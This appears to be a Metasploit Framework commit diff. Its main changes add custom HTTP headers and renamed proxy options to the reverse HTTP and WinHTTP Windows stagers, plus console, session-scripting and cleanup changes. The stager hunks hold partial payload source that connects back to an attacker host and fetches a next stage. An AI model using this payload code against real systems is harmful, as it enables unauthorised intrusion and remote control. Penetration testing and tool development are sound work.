super
register_advanced_options([
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
], self.class)
end
@ -29,24 +29,26 @@ module Payload::Windows::ReverseWinHttp
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT']
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT']
}
# Add extra options if we have enough space
if self.available_space && required_space <= self.available_space
if self.available_space.nil? || required_space <= self.available_space
conf[:uri] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:exitfunk] = ds['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:retry_count] = datastore['StagerRetryCount']
conf[:proxy_ie] = datastore['PayloadProxyIE']
conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = ds['HttpProxyType']
conf[:retry_count] = ds['StagerRetryCount']
conf[:proxy_ie] = ds['HttpProxyIE']
conf[:custom_headers] = get_custom_headers(ds)
else
# Otherwise default to small URIs
conf[:uri] = luri + generate_small_uri
@ -93,6 +95,9 @@ module Payload::Windows::ReverseWinHttp
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Custom headers? Ugh, impossible to tell
space += 512 * 2
# The final estimated size
space
end
@ -167,6 +172,8 @@ module Payload::Windows::ReverseWinHttp
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
http_open_flags = 0
secure_flags = 0
@ -434,8 +441,23 @@ module Payload::Windows::ReverseWinHttp
push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
^
if custom_headers
asm << %Q^
push -1 ; dwHeadersLength (assume NULL terminated) [3]
call get_req_headers ; lpszHeaders (pointer to the custom headers) [2]
db #{custom_headers}
get_req_headers:
^
else
asm << %Q^
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
^
end
asm << %Q^
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
call ebp

View File

@ -27,17 +27,12 @@ module Payload::Windows::ReverseHttp_x64
#
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class)
register_advanced_options(
[ OptInt.new('StagerURILength', 'The URI length for the stager (at least 5 bytes)') ] +
Msf::Opt::stager_retry_options +
Msf::Opt::http_header_options +
Msf::Opt::http_proxy_options
)
end
def transport_config(opts={})
@ -52,22 +47,23 @@ module Payload::Windows::ReverseHttp_x64
conf = {
ssl: opts[:ssl] || false,
host: ds['LHOST'],
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'],
retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait']
}
# add extended options if we do have enough space
if self.available_space && required_space <= self.available_space
if self.available_space.nil? || required_space <= self.available_space
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass']
conf[:proxy_type] = ds['PayloadProxyType']
conf[:ua] = ds['HttpUserAgent']
conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = ds['HttpProxyType']
conf[:custom_headers] = get_custom_headers(ds)
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
@ -76,6 +72,22 @@ module Payload::Windows::ReverseHttp_x64
generate_reverse_http(conf)
end
#
# Generate the custom headers string
#
def get_custom_headers(ds)
headers = ""
headers << "Host: #{ds['HttpHostHeader']}\r\n" if ds['HttpHostHeader']
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
if headers.length > 0
headers
else
nil
end
end
#
# Generate and compile the stager
#
@ -89,6 +101,7 @@ module Payload::Windows::ReverseHttp_x64
pop rbp ; rbp now contains the block API pointer
#{asm_reverse_http(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
@ -137,10 +150,23 @@ module Payload::Windows::ReverseHttp_x64
# Proxy options?
space += 200
# Custom headers? Ugh, impossible to tell
space += 512
# The final estimated size
space
end
#
# Convert a string into a NULL-terminated ASCII byte array
#
def asm_generate_ascii_array(str)
(str.to_s + "\x00").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
#
# Generate an assembly stub with the configured feature set and options.
#
@ -154,6 +180,7 @@ module Payload::Windows::ReverseHttp_x64
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
#
@ -180,6 +207,8 @@ module Payload::Windows::ReverseHttp_x64
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
http_open_flags = 0
set_option_flags = 0
@ -332,12 +361,10 @@ module Payload::Windows::ReverseHttp_x64
^
end
asm << %Q^
retryrequest:
^
if opts[:ssl]
asm << %Q^
internetsetoption:
@ -351,15 +378,30 @@ module Payload::Windows::ReverseHttp_x64
pop r9 ; dwBufferLength (4 = size of flags)
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
call rbp
xor r8, r8 ; dwHeadersLen (0)
^
end
if custom_headers
asm << %Q^
call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
pop rdx ; lpszHeaders
dec r8 ; dwHeadersLength (assume NULL terminated)
^
else
asm << %Q^
httpsendrequest:
mov rcx, rsi ; hRequest (request handle)
push rbx
pop rdx ; lpszHeaders (NULL)
xor r8, r8 ; dwHeadersLen (0)
^
end
asm << %Q^
mov rcx, rsi ; hRequest (request handle)
xor r9, r9 ; lpszVersion (NULL)
xor r9, r9 ; lpszVersion (NULL)
push rbx ; stack alignment
push rbx ; dwOptionalLength (0)

View File

@ -22,7 +22,7 @@ module Payload::Windows::ReverseWinHttp_x64
def initialize(*args)
super
register_advanced_options([
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
], self.class)
end
@ -30,24 +30,26 @@ module Payload::Windows::ReverseWinHttp_x64
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT']
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT']
}
# Add extra options if we have enough space
if self.available_space && required_space <= self.available_space
if self.available_space.nil? || required_space <= self.available_space
conf[:uri] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:exitfunk] = ds['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:retry_count] = datastore['StagerRetryCount']
conf[:proxy_ie] = datastore['PayloadProxyIE']
conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = ds['HttpProxyType']
conf[:retry_count] = ds['StagerRetryCount']
conf[:proxy_ie] = ds['HttpProxyIE']
conf[:custom_headers] = get_custom_headers(ds)
else
# Otherwise default to small URIs
conf[:uri] = luri + generate_small_uri
@ -95,6 +97,9 @@ module Payload::Windows::ReverseWinHttp_x64
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Custom headers? Ugh, impossible to tell
space += 512
# The final estimated size
space
end
@ -115,12 +120,18 @@ module Payload::Windows::ReverseWinHttp_x64
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :uri The URI to request during staging
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Integer] :port The port to connect to
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Integer] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
#
def asm_reverse_winhttp(opts={})
@ -169,6 +180,8 @@ module Payload::Windows::ReverseWinHttp_x64
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
secure_flags = (
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
@ -431,15 +444,29 @@ module Payload::Windows::ReverseWinHttp_x64
pop r9 ; dwBufferLength (4 = size of flags)
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
call rbp
xor r8, r8 ; dwHeadersLen (0)
^
end
if custom_headers
asm << %Q^
call get_req_headers ; lpszHeaders (pointer to the custom headers)
db #{custom_headers}
get_req_headers:
pop rdx ; lpszHeaders
dec r8 ; dwHeadersLength (assume NULL terminated)
^
else
asm << %Q^
winhttpsendrequest:
mov rcx, rsi ; hRequest (request handle)
push rbx
pop rdx ; lpszHeaders (NULL)
xor r8, r8 ; dwHeadersLen (0)
^
end
asm << %Q^
mov rcx, rsi ; hRequest (request handle)
xor r9, r9 ; lpszVersion (NULL)
push rbx ; stack alignment
push rbx ; dwContext (0)

View File

@ -298,7 +298,7 @@ module Msf
# @return [String] Java payload as a JAR or WAR file
def generate_java_payload
payload_module = framework.payloads.create(payload)
payload_module.datastore.merge!(datastore)
payload_module.datastore.import_options_from_hash(datastore)
case format
when "raw", "jar"
if payload_module.respond_to? :generate_jar

View File

@ -119,7 +119,7 @@ module LDAP
domain ||= get_domain
if domain.blank?
raise RuntimeError, "Unable to find the domain to query."
raise "Unable to find the domain to query."
end
if load_extapi
@ -338,7 +338,7 @@ module LDAP
init_result = wldap32.ldap_sslinitA(domain, 389, 0)
session_handle = init_result['return']
if session_handle == 0
raise RuntimeError.new("Unable to initialize ldap server: #{init_result["ErrorMessage"]}")
raise "Unable to initialize ldap server: #{init_result["ErrorMessage"]}"
end
vprint_status("LDAP Handle: #{session_handle}")
@ -352,7 +352,7 @@ module LDAP
bind = bind_result['return']
unless bind == 0
wldap32.ldap_unbind(session_handle)
raise RuntimeError.new("Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}")
raise "Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}"
end
if (block_given?)

View File

@ -194,7 +194,7 @@ module Msf::Post::Windows::Priv
#
def is_high_integrity?
il = get_integrity_level
(il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SIDE[:system])
(il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SID[:system])
end
#

View File

@ -78,7 +78,7 @@ module Services
# );
manag = advapi32.OpenSCManagerA(machine_str,nil,access)
if (manag["return"] == 0)
raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
raise "Unable to open service manager: #{manag["ErrorMessage"]}"
end
if (block_given?)
@ -115,7 +115,7 @@ module Services
def open_service_handle(manager, name, access)
handle = advapi32.OpenServiceA(manager, name, access)
if (handle["return"] == 0)
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
raise "Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}"
end
if (block_given?)
@ -267,7 +267,7 @@ module Services
when "manual" then startup_number = START_TYPE_MANUAL
when "disable" then startup_number = START_TYPE_DISABLED
else
raise RuntimeError, "Invalid Startup Mode: #{mode}"
raise "Invalid Startup Mode: #{mode}"
end
end
@ -453,7 +453,7 @@ module Services
status = advapi32.QueryServiceStatus(service_handle,28)
if (status["return"] == 0)
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
raise "Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}"
else
ret = parse_service_status_struct(status['lpServiceStatus'])
end
@ -485,7 +485,7 @@ module Services
vprint_good("[#{name}] Service started")
return true
else
raise RuntimeError, status
raise status
end
rescue RuntimeError => s
if tried

View File

@ -1,28 +0,0 @@
# -*- coding: binary -*-
#
# Provides some sanity checks against the ruby build and version
#
if(RUBY_PLATFORM == 'java')
require 'socket'
s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
if(not s.respond_to?('bind'))
$stderr.puts "*** JRuby 1.5.0+ is required to use Metasploit with jRuby"
exit(0)
end
$stderr.puts "*** Warning: JRuby support is still incomplete, few things will work properly!"
trap Signal::list['INT'] do
Thread.main.raise Interrupt.new
end
s.close
end
# Check for OpenSSL and print a warning if it is not installed
begin
require 'openssl'
rescue ::LoadError
$stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!"
$stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more"
end

View File

@ -47,7 +47,7 @@ class Core
"-q" => [ false, "Quiet mode" ],
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
"-K" => [ false, "Terminate all sessions" ],
"-s" => [ true, "Run a script on the session given with -i, or all" ],
"-s" => [ true, "Run a script or module on the session given with -i, or all" ],
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
"-t" => [ true, "Set a response timeout (default: 15)" ],
@ -1107,7 +1107,7 @@ class Core
if active_module
# intentionally += and not << because we don't want to modify
# datastore or the constant DefaultPrompt
prompt += " #{active_module.type}(%bld%red#{active_module.shortname}%clr)"
prompt += " #{active_module.type}(%bld%red#{active_module.promptname}%clr)"
end
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} ", prompt_char, true)
@ -1180,10 +1180,10 @@ class Core
sid = val || false
when "-K"
method = 'killall'
# Run a script on all meterpreter sessions
# Run a script or module on specified sessions
when "-s"
unless script
method = 'scriptall'
method = 'script'
script = val
end
# Upload and exec to the specific command session
@ -1389,15 +1389,11 @@ class Core
sid = nil
end
end
when 'scriptall'
when 'script'
unless script
print_error("No script specified!")
print_error("No script or module specified!")
return false
end
script_paths = {}
script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script)
script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script)
sessions = sid ? session_list : framework.sessions.keys.sort
sessions.each do |sess_id|
@ -1413,15 +1409,13 @@ class Core
session.response_timeout = response_timeout
end
begin
if script_paths[session.type]
print_status("Session #{sess_id} (#{session.session_host}):")
print_status("Running script #{script} on #{session.type} session" +
print_status("Running #{script} on #{session.type} session" +
" #{sess_id} (#{session.session_host})")
begin
session.execute_file(script_paths[session.type], extra)
session.execute_script(script, *extra)
rescue ::Exception => e
log_error("Error executing script: #{e.class} #{e}")
end
log_error("Error executing script or module: #{e.class} #{e}")
end
ensure
if session.respond_to?(:response_timeout) && last_known_timeout
@ -1443,14 +1437,9 @@ class Core
session.response_timeout = response_timeout
end
begin
if ['shell', 'powershell'].include?(session.type)
session.init_ui(driver.input, driver.output)
session.execute_script('post/multi/manage/shell_to_meterpreter')
session.reset_ui
else
print_error("Session #{sess_id} is not a command shell session, it is #{session.type}, skipping...")
next
end
ensure
if session.respond_to?(:response_timeout) && last_known_timeout
session.response_timeout = last_known_timeout
@ -2209,16 +2198,7 @@ class Core
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)
else
res << Rex::Socket.source_address
# getifaddrs was introduced in 2.1.2
if Socket.respond_to?(:getifaddrs)
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) &&
ifaddr.addr &&
ifaddr.addr.ip?
end
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
end
res += tab_complete_source_address
end
else
end

View File

@ -354,6 +354,8 @@ class Db
end
end
@@hosts_columns = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
def cmd_hosts(*args)
return unless active?
::ActiveRecord::Base.connection_pool.with_connection {
@ -371,7 +373,7 @@ class Db
default_columns << 'tags' # Special case
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
col_search = @@hosts_columns
default_columns.delete_if {|v| (v[-2,2] == "id")}
while (arg = args.shift)
@ -380,7 +382,7 @@ class Db
mode << :add
when '-d','--delete'
mode << :delete
when '-c'
when '-c','-C'
list = args.shift
if(!list)
print_error("Invalid column list")
@ -394,6 +396,10 @@ class Db
return
end
}
if (arg == '-C')
@@hosts_columns = col_search
end
when '-u','--up'
onlyup = true
when '-o'
@ -426,6 +432,7 @@ class Db
print_line " -a,--add Add the hosts instead of searching"
print_line " -d,--delete Delete the hosts instead of searching"
print_line " -c <col1,col2> Only show the given columns (see list below)"
print_line " -C <col1,col2> Only show the given columns until the next restart (see list below)"
print_line " -h,--help Show this help information"
print_line " -u,--up Only show hosts which are up"
print_line " -o <file> Send output to a file in csv format"
@ -1826,6 +1833,8 @@ class Db
if (path)
auth, dest = path.split('@')
(dest = auth and auth = nil) if not dest
# remove optional scheme in database url
auth = auth.sub(/^\w+:\/\//, "") if auth
res[:user],res[:pass] = auth.split(':') if auth
targ,name = dest.split('/')
(name = targ and targ = nil) if not name

View File

@ -164,6 +164,21 @@ class Exploit
end
end
def cmd_exploit_tabs(str, words)
fmt = {
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
'-f' => [ nil ],
'-h' => [ nil ],
'-j' => [ nil ],
'-n' => [ framework.nops.map { |refname, mod| refname } ],
'-o' => [ true ],
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
'-t' => [ true ],
'-z' => [ nil ]
}
tab_complete_generic(fmt, str, words)
end
alias cmd_run cmd_exploit
def cmd_exploit_help

View File

@ -341,6 +341,19 @@ module Msf
print_status "Payload handler running as background job #{job_id}."
end
def cmd_handler_tabs(str, words)
fmt = {
'-h' => [ nil ],
'-x' => [ nil ],
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
'-P' => [ true ],
'-H' => [ :address ],
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
'-n' => [ true ]
}
tab_complete_generic(fmt, str, words)
end
end
end
end

View File

@ -94,10 +94,12 @@ module Msf
print_status("Launching #{editor} #{path}")
system(editor, path)
# XXX: This will try to reload *anything* and break on modules
if args.length > 0
# XXX: This will try to reload *any* .rb and break on modules
if args.length > 0 && path.end_with?('.rb')
print_status("Reloading #{path}")
load path
else
print_error('Only Ruby files can be reloaded (use reload/rerun for modules)')
end
else
print_error('Nothing to edit -- try using a module first.')
@ -659,7 +661,7 @@ module Msf
# Update the command prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
end
#

View File

@ -13,7 +13,7 @@ module Msf
include Msf::Ui::Console::ModuleCommandDispatcher
# Load supported formats
supported_formats = \
@@supported_formats = \
Msf::Simple::Buffer.transform_formats + \
Msf::Util::EXE.to_executable_fmt_formats
@ -25,7 +25,7 @@ module Msf
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
"-s" => [ true, "NOP sled length." ],
"-f" => [ true, "The output file name (otherwise stdout)" ],
"-t" => [ true, "The output format: #{supported_formats.join(',')}" ],
"-t" => [ true, "The output format: #{@@supported_formats.join(',')}" ],
"-p" => [ true, "The Platform for output." ],
"-k" => [ false, "Keep the template executable functional" ],
"-x" => [ true, "The executable template to use" ],
@ -151,6 +151,24 @@ module Msf
end
true
end
def cmd_generate_tabs(str, words)
fmt = {
'-b' => [ true ],
'-E' => [ nil ],
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
'-h' => [ nil ],
'-o' => [ true ],
'-s' => [ true ],
'-f' => [ :file ],
'-t' => [ @@supported_formats ],
'-p' => [ true ],
'-k' => [ nil ],
'-x' => [ :file ],
'-i' => [ true ]
}
tab_complete_generic(fmt, str, words)
end
end
end
end

View File

@ -59,8 +59,8 @@ module Msf
elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed)
[
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
::Msf::Config.script_directory + ::File::SEPARATOR + 'resource',
::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource'
].each do |dir|
res_path = dir + ::File::SEPARATOR + res
if ::File.exist?(res_path)
@ -97,7 +97,7 @@ module Msf
[
::Msf::Config.script_directory + File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
"."
'.'
].each do |dir|
next if not ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|

View File

@ -138,15 +138,6 @@ class Driver < Msf::Ui::Driver
print_error("***")
end
begin
require 'openssl'
rescue ::LoadError
print_error("***")
print_error("* WARNING: No OpenSSL support. This is required by meterpreter payloads and many exploits")
print_error("* Please install the ruby-openssl package (apt-get install libopenssl-ruby on Debian/Ubuntu")
print_error("***")
end
# Register event handlers
register_event_handlers
@ -191,24 +182,10 @@ class Driver < Msf::Ui::Driver
end
end
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was
# already true or if framework.db.connect called after_establish_connection.
if !! framework.db.error
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
print_error("***")
print_error("*")
print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support")
print_error("* There a three ways to accomplish this upgrade:")
print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:")
print_error("* $ rvmsudo gem install pg ")
print_error("* 2. Use the Community Edition web interface to apply a Software Update")
print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit")
print_error("*")
print_error("***")
print_error("")
print_error("")
end
# framework.db.active will be true if after_establish_connection ran
# directly when connection_established? was already true or if
# framework.db.connect called after_establish_connection.
if !!framework.db.error
print_error("Failed to connect to the database: #{framework.db.error}")
end
end
@ -250,108 +227,6 @@ class Driver < Msf::Ui::Driver
end
end
#
# Configure a default output path for jUnit XML output
#
def junit_setup(output_path)
output_path = ::File.expand_path(output_path)
::FileUtils.mkdir_p(output_path)
@junit_output_path = output_path
@junit_error_count = 0
print_status("Test Output: #{output_path}")
# We need at least one test success in order to pass
junit_pass("framework_loaded")
end
#
# Emit a new jUnit XML output file representing an error
#
def junit_error(tname, ftype, data = nil)
if not @junit_output_path
raise RuntimeError, "No output path, call junit_setup() first"
end
data ||= framework.inspect.to_s
e = REXML::Element.new("testsuite")
c = REXML::Element.new("testcase")
c.attributes["classname"] = "msfrc"
c.attributes["name"] = tname
f = REXML::Element.new("failure")
f.attributes["type"] = ftype
f.text = data
c << f
e << c
bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
bname << "_" + Digest::MD5.hexdigest(tname)
fname = ::File.join(@junit_output_path, "#{bname}.xml")
cnt = 0
while ::File.exist?( fname )
cnt += 1
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
end
::File.open(fname, "w") do |fd|
fd.write(e.to_s)
end
print_error("Test Error: #{tname} - #{ftype} - #{data}")
end
#
# Emit a new jUnit XML output file representing a success
#
def junit_pass(tname)
if not @junit_output_path
raise RuntimeError, "No output path, call junit_setup() first"
end
# Generate the structure of a test case run
e = REXML::Element.new("testsuite")
c = REXML::Element.new("testcase")
c.attributes["classname"] = "msfrc"
c.attributes["name"] = tname
e << c
# Generate a unique name
bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
bname << "_" + Digest::MD5.hexdigest(tname)
# Generate the output path, allow multiple test with the same name
fname = ::File.join(@junit_output_path, "#{bname}.xml")
cnt = 0
while ::File.exist?( fname )
cnt += 1
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
end
# Write to our test output location, as specified with junit_setup
::File.open(fname, "w") do |fd|
fd.write(e.to_s)
end
print_good("Test Pass: #{tname}")
end
#
# Emit a jUnit XML output file and throw a fatal exception
#
def junit_fatal_error(tname, ftype, data)
junit_error(tname, ftype, data)
print_error("Exiting")
run_single("exit -y")
end
#
# Loads configuration that needs to be analyzed before the framework
# instance is created.

View File

@ -209,10 +209,10 @@ module ModuleCommandDispatcher
end
rhost = instance.datastore['RHOST']
rport = nil
rport = instance.datastore['RPORT']
peer = rhost
if instance.datastore['rport']
rport = instance.rport
if rport
rport = instance.rport if instance.respond_to?(:rport)
peer = "#{rhost}:#{rport}"
end

View File

@ -1122,7 +1122,7 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
end
# self.to_linux_mipsle_elf
# self.to_linux_armle_elf
#
# @param framework [Msf::Framework]
# @param code [String]
@ -1133,6 +1133,17 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
end
# self.to_linux_aarch64_elf
#
# @param framework [Msf::Framework]
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String] Returns an elf
def self.to_linux_aarch64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
end
# self.to_linux_mipsle_elf
# Little Endian
# @param framework [Msf::Framework]

View File

@ -108,15 +108,19 @@ private
cert_hash = "\x00" * CERT_HASH_SIZE
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
custom_headers = opts[:custom_headers] || ''
custom_headers = to_str(custom_headers, custom_headers.length + 1)
# add the HTTP specific stuff
transport_data << proxy_host # Proxy host name
transport_data << proxy_user # Proxy user name
transport_data << proxy_pass # Proxy password
transport_data << ua # HTTP user agent
transport_data << cert_hash # SSL cert hash for verification
transport_data << custom_headers # any custom headers that the client needs
# update the packing spec
pack << 'A*A*A*A*A*'
pack << 'A*A*A*A*A*A*'
end
# return the packed transport information

View File

@ -147,7 +147,8 @@ class ClientCore < Extension
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
:custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
}
}
@ -555,6 +556,7 @@ class ClientCore < Extension
# We cannot migrate into a process that we are unable to open
